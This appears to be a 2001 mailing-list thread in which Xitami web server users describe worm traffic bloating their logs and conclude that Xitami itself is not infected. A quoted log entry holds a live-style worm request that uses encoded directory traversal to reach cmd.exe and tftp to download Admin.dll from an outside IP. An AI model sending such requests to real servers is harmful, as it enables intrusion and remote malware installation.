[Xitami] "GET /scripts/.......

[John Jonas]

Samething happening running W2K Pro with 2.4d7.  As noted the only effect
seems to be log file size.  Bandwidth seems uneffected at this point as we are
only getting a few thousand hits per day from it, but this might change as the
worm gets more wide spread or if you have a better known site.

Melle.koning@endemol.nl wrote:

> > | > Today I'm getting many thousands of hits from hundreds of
> > IP's on a
> > | > single Win95 machine running only Xitami b5.  The log shows the
> > | > following...
> > | >
> > | > 216.254.74.234 - - [18/Sep/2001:15:50:57 -0500] "GET
> > | > /scripts/..%%35c../winnt/system32/cmd.exe?/c+tftp%20-
> > | > i%20216.254.74.234%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
> > | > 200 -1 "" ""
> I've got the same problem with my w98se/xitami version.
> The log files grow extremely large so I've tuned the maximum KB of the log
> files down a bit.
>
> For as far as I can see now the system is not infected and the virus only
> touches IIS and PWS servers, xitami is not infected as far as I know.